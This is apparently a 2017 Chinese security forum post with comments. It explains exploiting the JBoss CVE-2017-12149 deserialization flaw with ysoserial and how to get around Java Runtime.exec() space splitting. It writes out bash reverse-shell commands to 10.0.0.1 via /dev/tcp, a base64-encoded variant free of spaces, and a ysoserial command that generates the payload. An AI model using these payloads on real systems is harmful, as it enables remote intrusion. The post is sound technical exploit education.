2017 十一月 27
JBoss CVE-2017-12149 这个反序列化漏洞,比较标准的readObject(),从原理上没什么好说的。利用方法是直接使用ysoserial生成POC,然后附在HTTP POST包里发送给目标的/invoker/readonly即可。 那我就来说个别的。 #奇技淫巧# 反序列化漏洞中通常使用Runtime.getRuntime().exec()来执行命令,但这个方法和PHP中的shell_exec有一个很大的不同:它执行命令不是使用bash来执行,而是启动这个命令本身。(这又让我想到Python中subprocess.run方法的shell参数,当shell=False的时候,效果也相同) 以bash来执行命令有一个很显著的特征,用Python 3.5来举个例子: import subprocess subprocess.check_output("curl -v example.com/?`whoami`", shell=True) subprocess.check_output(["curl", "-v", "example.com/?`whoami`"], shell=False) 如果shell=True的话,curl命令是被Bash(Sh)启动,所以支持shell语法。所以,我通过反引号即可执行自己的命令(whoami)。(图1) 如果shell=False的话,启动的是curl这个可执行程序本身,后面的参数不再支持shell语法,只是一个字符串而已。(图2) Java中的Runtime.getRuntime().exec()效果类似shell=False,而PHP中的shell_exec就类似于shell=True。 所以,有的同学在反序列化漏洞的利用中,执行的命令为 bash -i >& /dev/tcp/10.0.0.1/21 0>&1 ,显然是不会成功的。 那我们改进一下,用bash去执行这一串代码: bash -c "bash -i >& /dev/tcp/10.0.0.1/21 0>&1" 这样理论上就没有问题了,用bash执行这串代码,这里面的特殊符号也就有了实际意义。 但Runtime.getRuntime().exec()有另外一个特性,它会用空格将命令分割成一个数组,并将数组的第一个字符串作为可执行文件路径,后面的字符串作为参数。 所以上述代码被分割成了["bash", "-c", "\"bash", "-i", ">&", "/dev/tcp/10.0.0.1/21", "0>&1\""],破坏了命令原本的意思,所以也不行。 所以我们还需要来规避空格。规避空格的方法以前也说过很多,各种CTF里也出现过一些,我就不展开说了。 我们可以利用一个在线工具 java.lang.Runtime.exec() Payload Workarounds - @Ja... 来自动生成我们需要的命令。(图3) 比如上述反弹shell的命令被转换成了 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8yMSAwPiYxIA==}|{base64,-d}|{bash,-i} 没有空格。这个结果可以直接传给ysoserial来生成POC了: java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8yMSAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser

图片



48852124488888

wonderkun

我那个去,原来是这样啊! 我前几天在用Runtime.getRuntime().exec()执行bash -i xxxxx,反弹shell的时候一直失败,我还一度认为是docker中运行的进程没有标准输入输出设备造成呢。。。。最后用php测试发现并不是这个问题。 正在迷茫呢。 正想抽时间请教师傅呢,师傅的这个技巧发的太及时了。

phith0n

@wonderkun
docker里还有另外一个坑,有的镜像没有bash(alpine),默认shell是sh。sh是不支持 sh -i >& /dev/tcp/127.0.0.1/21 0>&1 的。

wonderkun

@phith0n
嗯嗯 学习啦。

mLT

大哥,Java的exec可以传数组

phith0n

@mLT
我知道啊大兄弟,你应该没用过ysoserial吧。

mLT

@phith0n
yso的定位是poc,不是exp。工具在你手里,还是开源的,写空格绕过不如填个新接口进去。 再者,exec切空格只是exec(String)方法的执行流程。它还有exec(String[],等方法。 所以,行文中绕过空格部分我感觉有抖机灵的成分,反倒不像你之前一些文章剖析程序本质,分析代码流程。当然,如果有也是你乐意 至于yso,嗯,我用过。

phith0n

@mLT
这就是我为什么不写一篇文章, 而只是发了个说说。 另外,空格绕过那个工具是外国人发的现成的,又不是我写的,明明有更简单的方法,我为什么要去改ysoserial?我一分钟搞定的事情,为什么要花一个小时去改代码?我不懂你为什么要钻牛角尖,是不是总是想在他人面向显示自己懂的很多,会改代码。

mLT

@phith0n
言过偏激了。 我倒是觉得这是面向对象语音和脚本语言思考方式的问题

姚杰

@mLT
yso当然可以自己改成数组接口的Runtime.exec(),但这并不重要。在真实exploit的过程中,经常会遇到程序代码只有字符串接口的Runtime.exec(),我们即便能注入也字符串参数也没法写shell的情况,这时候难道就放弃利用了么。楼主的分析是挺有意义的,不要局限于yso。

phith0n

@mLT
这和脚本语言没关系,python的check_output也是可以传数组或者字符串。你可能没注意我文中列的python的那三行代码吧。 我倒觉得这是务实和务虚的区别,工作了以后我更加注重如何解决问题。 至于这篇文章我的确写得不够细致入微,这一点你可以跟我提出,但不要一上来就那个语气。

mLT

@phith0n
对的。。我也感受到工作之后对待一项任务的态度与做事方式这件事。 不过,就事论事的说yso这个exec,仅限个人观点,对于yso工具,如果我做到了exec空格绕过,我给自己70分。做到数组,75分。做到数组能适配yso其他的gadgets就85分。务虚?我倒是觉得这样做是给开源做贡献了。 至于语气,如果你让你感到任何不适我深感抱歉[微笑]

姚杰

为什么bash可以认大括号和逗号来分隔,不解……

phith0n

@mLT
这个当然,用数组肯定比字符串好,不变形肯定是最好,否则出问题的概率会更大。你喜欢为了开源做贡献当然是好事,而我用开源项目的目的很功利,就是解决问题,这个也不需要避讳,这点就不用争论了。 最后,讨论问题要有态度,而不是上来就质疑别人的水平,互相道歉吧。

姚杰

@mLT
改yso为数组格式,我改过,一行代码而已。从技术难度上,比这个绕过空格低了几个数量级。我不认同你的打分标准

mLT

@phith0n
说明白的话,我没质疑你的水平,毕竟我也看过你写的很多文章,也知道如果你想,肯定会去看exec接口文档。只是一开始看就奇怪,为啥这里写成了“满足日常可用”,而没再进一步改

姚杰

最近刚好在分析这个exec()的空格绕过,整理了两种不同的方法,待我回去整理下再发出来

mLT

@姚杰
[囧]不认同就不吧。如果你确认改好了,可以试试给yso提pull request

phith0n

@mLT
这就是在博客写文章和发圈子帖子的区别,写文章会推敲很多内容。

phith0n

@姚杰
这个是啊,不能局限在yso里,多搞几种玩法,下次遇到就好解决了。